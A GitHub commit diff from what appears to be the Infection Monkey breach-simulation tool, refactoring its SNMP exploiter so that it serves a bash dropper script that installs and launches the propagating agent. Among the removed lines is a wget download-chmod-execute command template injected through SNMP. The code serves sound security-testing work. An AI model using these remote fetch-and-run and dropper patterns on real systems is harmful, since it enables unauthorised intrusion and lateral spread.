Skip to content

Commit 1cab4af

Browse files
committed
Merge branch '3234-script-dropper' into develop
Issue #3234 PR #3348
2 parents 95ff320 + 1624ace commit 1cab4af

File tree

15 files changed

+333
-106
lines changed

15 files changed

+333
-106
lines changed

monkey/agent_plugins/exploiters/snmp/src/plugin.py

+25-10
Original file line numberDiff line numberDiff line change
@@ -11,10 +11,13 @@
1111
# dependencies to get rid of or internalize
1212
from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider
1313
from infection_monkey.exploit.tools import all_udp_ports_are_closed
14-
from infection_monkey.exploit.tools.http_agent_binary_server import start_agent_binary_server
14+
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
15+
from infection_monkey.exploit.tools.http_agent_binary_server import start_dropper_script_server
1516
from infection_monkey.i_puppet import ExploiterResultData, TargetHost
17+
from infection_monkey.model import MONKEY_ARG
1618
from infection_monkey.network import TCPPortSelector
1719
from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository
20+
from infection_monkey.utils.commands import build_monkey_commandline_parameters
1821

1922
from .community_string_generator import generate_community_strings
2023
from .snmp_client import SNMPClient
@@ -97,29 +100,41 @@ def run(
97100
self._propagation_credentials_repository.get_credentials()
98101
)
99102

100-
snmp_exploiter = self._create_snmp_exploiter(snmp_client)
101-
return snmp_exploiter.exploit_host(
102-
host, servers, current_depth, snmp_options, community_strings, interrupt
103-
)
103+
snmp_exploiter = self._create_snmp_exploiter(snmp_client, host, servers, current_depth)
104+
return snmp_exploiter.exploit_host(host, snmp_options, community_strings, interrupt)
104105
except Exception as err:
105106
msg = f"An unexpected exception occurred while attempting to exploit host: {err}"
106107
logger.exception(msg)
107108
return ExploiterResultData(
108109
exploitation_success=False, propagation_success=False, error_message=msg
109110
)
110111

111-
def _create_snmp_exploiter(self, snmp_client: SNMPClient) -> SNMPExploiter:
112+
def _create_snmp_exploiter(
113+
self,
114+
snmp_client: SNMPClient,
115+
target_host: TargetHost,
116+
servers: Sequence[str],
117+
current_depth: int,
118+
) -> SNMPExploiter:
112119
exploit_client = SNMPExploitClient(
113120
self._agent_id, self._agent_event_publisher, self._plugin_name, snmp_client
114121
)
115-
agent_binary_server_factory = partial(
116-
start_agent_binary_server,
122+
args = [MONKEY_ARG]
123+
args.extend(
124+
build_monkey_commandline_parameters(
125+
parent=self._agent_id, servers=servers, depth=current_depth + 1
126+
)
127+
)
128+
dropper_script_server_factory = partial(
129+
start_dropper_script_server,
130+
target_host=target_host,
117131
agent_binary_repository=self._agent_binary_repository,
118132
tcp_port_selector=self._tcp_port_selector,
133+
destination_path=get_agent_dst_path(target_host),
134+
args=args,
119135
)
120136
return SNMPExploiter(
121-
self._agent_id,
122137
exploit_client,
123-
agent_binary_server_factory,
138+
dropper_script_server_factory,
124139
self._otp_provider,
125140
)
Original file line numberDiff line numberDiff line change
@@ -1,40 +1,15 @@
1-
from typing import Sequence
2-
31
from common import OperatingSystem
4-
from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
5-
from common.types import AgentID
6-
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
72
from infection_monkey.i_puppet import TargetHost
8-
from infection_monkey.model import MONKEY_ARG
9-
from infection_monkey.utils.commands import build_monkey_commandline
10-
11-
SNMP_LINUX_COMMAND_TEMPLATE = (
12-
"wget -qO %(monkey_path)s %(http_path)s "
13-
"; chmod +x %(monkey_path)s "
14-
"; %(agent_otp_environment_variable)s=%(agent_otp)s "
15-
"%(monkey_path)s %(monkey_type)s %(parameters)s"
16-
)
3+
from infection_monkey.utils.commands import build_dropper_script_deploy_command
174

185

196
def build_snmp_command(
20-
agent_id: AgentID,
217
target_host: TargetHost,
22-
servers: Sequence[str],
23-
current_depth: int,
248
agent_download_url: str,
259
otp: str,
2610
) -> str:
2711
if target_host.operating_system == OperatingSystem.WINDOWS:
2812
raise Exception(f"Unsupported operating system: {target_host.operating_system}")
2913

30-
monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1)
31-
32-
command = SNMP_LINUX_COMMAND_TEMPLATE % {
33-
"monkey_path": get_agent_dst_path(target_host),
34-
"http_path": agent_download_url,
35-
"monkey_type": MONKEY_ARG,
36-
"parameters": monkey_cmd,
37-
"agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
38-
"agent_otp": otp,
39-
}
40-
return f'-c "{command}"'
14+
deploy_command = build_dropper_script_deploy_command(target_host, agent_download_url, otp)
15+
return f'-c "{deploy_command}"'

monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py

+8-13
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
from logging import getLogger
2-
from typing import Callable, Iterable, Sequence
2+
from pathlib import PurePath
3+
from typing import Callable, Iterable
34

4-
from common.types import AgentID, Event
5+
from common.types import Event
56
from infection_monkey.exploit import IAgentOTPProvider
67
from infection_monkey.exploit.tools import HTTPBytesServer
78
from infection_monkey.i_puppet import ExploiterResultData, TargetHost
@@ -13,34 +14,31 @@
1314

1415
logger = getLogger(__name__)
1516

16-
AgentBinaryServerFactory = Callable[[TargetHost], HTTPBytesServer]
17+
DropperScriptServerFactory = Callable[[], HTTPBytesServer]
1718

1819

1920
class SNMPExploiter:
2021
def __init__(
2122
self,
22-
agent_id: AgentID,
2323
exploit_client: SNMPExploitClient,
24-
agent_binary_server_factory: AgentBinaryServerFactory,
24+
dropper_script_server_factory: DropperScriptServerFactory,
2525
otp_provider: IAgentOTPProvider,
2626
):
27-
self._agent_id = agent_id
2827
self._exploit_client = exploit_client
29-
self._agent_binary_server_factory = agent_binary_server_factory
28+
self._dropper_script_server_factory = dropper_script_server_factory
3029
self._otp_provider = otp_provider
3130

3231
def exploit_host(
3332
self,
3433
host: TargetHost,
35-
servers: Sequence[str],
36-
current_depth: int,
3734
options: SNMPOptions,
3835
community_strings: Iterable[str],
3936
interrupt: Event,
4037
) -> ExploiterResultData:
4138
try:
4239
logger.debug("Starting the agent binary server")
43-
agent_binary_http_server = self._agent_binary_server_factory(host)
40+
41+
agent_binary_http_server = self._dropper_script_server_factory()
4442
except Exception as err:
4543
msg = (
4644
"An unexpected exception occurred while attempting to start the agent binary HTTP "
@@ -52,10 +50,7 @@ def exploit_host(
5250
)
5351

5452
command = build_snmp_command(
55-
self._agent_id,
5653
host,
57-
servers,
58-
current_depth,
5954
agent_binary_http_server.download_url,
6055
self._otp_provider.get_otp(),
6156
)

monkey/infection_monkey/dropper.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
from common.utils.argparse_types import positive_int
1414
from common.utils.environment import get_os
1515
from infection_monkey.utils.commands import (
16-
build_monkey_commandline_explicitly,
16+
build_monkey_commandline_parameters,
1717
get_monkey_commandline_linux,
1818
get_monkey_commandline_windows,
1919
)
@@ -133,7 +133,7 @@ def _try_update_access_time(destination_path):
133133
logger.warning("Cannot set reference date to destination file")
134134

135135
def _run_monkey(self, destination_path) -> subprocess.Popen:
136-
monkey_options = build_monkey_commandline_explicitly(
136+
monkey_options = build_monkey_commandline_parameters(
137137
parent=self.opts.parent,
138138
servers=self.opts.servers,
139139
depth=self.opts.depth,

monkey/infection_monkey/exploit/tools/helpers.py

+13
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,8 @@
1414
AGENT_BINARY_PATH_LINUX = PurePosixPath("/tmp/monkey")
1515
AGENT_BINARY_PATH_WIN64 = PureWindowsPath(r"C:\Windows\temp\monkey64.exe")
1616

17+
DROPPER_SCRIPT_PATH_LINUX = PurePosixPath("/tmp/monkey-dropper.sh")
18+
1719

1820
def get_agent_dst_path(host: TargetHost) -> PurePath:
1921
return _add_random_suffix(_get_agent_path(host))
@@ -38,3 +40,14 @@ def get_random_file_suffix() -> str:
3840
character_set = string.ascii_letters + string.digits + "_" + "-"
3941
# Avoid the risk of blocking by using insecure_generate_random_string()
4042
return insecure_generate_random_string(n=RAND_SUFFIX_LEN, character_set=character_set)
43+
44+
45+
def get_dropper_script_dst_path(host: TargetHost) -> PurePath:
46+
return _add_random_suffix(_get_dropper_script_path(host))
47+
48+
49+
def _get_dropper_script_path(host: TargetHost) -> PurePath:
50+
if host.operating_system == OperatingSystem.WINDOWS:
51+
raise NotImplementedError("This function is not implemented for Windows")
52+
53+
return PurePosixPath(DROPPER_SCRIPT_PATH_LINUX)

monkey/infection_monkey/exploit/tools/http_agent_binary_server.py

+53-2
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,14 @@
1+
from pathlib import PurePath
2+
from typing import Sequence
3+
4+
from common import OperatingSystem
15
from common.types import SocketAddress
26
from infection_monkey.exploit import IAgentBinaryRepository
37
from infection_monkey.exploit.tools import HTTPBytesServer
48
from infection_monkey.i_puppet import TargetHost
59
from infection_monkey.network import TCPPortSelector
610
from infection_monkey.network.tools import get_interface_to_target
11+
from infection_monkey.utils.script_dropper import build_bash_dropper
712

813

914
def start_agent_binary_server(
@@ -22,10 +27,56 @@ def start_agent_binary_server(
2227
if target_host.operating_system is None:
2328
raise ValueError("The operating system of the target host is unknown")
2429

25-
bind_address = _get_bind_address(target_host, tcp_port_selector)
2630
agent_binary = agent_binary_repository.get_agent_binary(target_host.operating_system).read()
2731

28-
server = HTTPBytesServer(bind_address, agent_binary)
32+
return start_http_bytes_server(target_host, agent_binary, tcp_port_selector)
33+
34+
35+
def start_dropper_script_server(
36+
target_host: TargetHost,
37+
agent_binary_repository: IAgentBinaryRepository,
38+
tcp_port_selector: TCPPortSelector,
39+
destination_path: PurePath,
40+
args: Sequence[str],
41+
) -> HTTPBytesServer:
42+
"""
43+
Starts an HTTP server that serves the dropper script
44+
45+
:param target_host: The host for whom to serve the dropper script
46+
:param agent_binary_repository: The repository that contains the agent binary
47+
:param tcp_port_selector: The TCP port selector to use
48+
:param destination_path: The destination path into which to drop the agent payload
49+
:param args: The arguments to pass to the agent payload
50+
51+
:return: The started HTTPBytesServer that serves the provided data
52+
"""
53+
if target_host.operating_system is None:
54+
raise ValueError("The operating system of the target host is unknown")
55+
56+
if target_host.operating_system is OperatingSystem.WINDOWS:
57+
raise NotImplementedError("Windows is not supported, yet")
58+
59+
agent_binary = agent_binary_repository.get_agent_binary(target_host.operating_system).read()
60+
dropper_script = build_bash_dropper(destination_path, args, agent_binary)
61+
62+
return start_http_bytes_server(target_host, dropper_script, tcp_port_selector)
63+
64+
65+
def start_http_bytes_server(
66+
target_host: TargetHost, bytes_to_serve: bytes, tcp_port_selector: TCPPortSelector
67+
) -> HTTPBytesServer:
68+
"""
69+
Starts an HTTP server that serves the provided data
70+
71+
:param target_host: The host to serve the agent binary to
72+
:param bytes_to_server: The data (bytes) that the server will server
73+
:param tcp_port_selector: The TCP port selector to use
74+
75+
:return: The started HTTPBytesServer that serves the provided data
76+
"""
77+
bind_address = _get_bind_address(target_host, tcp_port_selector)
78+
79+
server = HTTPBytesServer(bind_address, bytes_to_serve)
2980
server.start()
3081

3182
return server
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
from .script_dropper import build_bash_dropper

0 commit comments

Comments
 (0)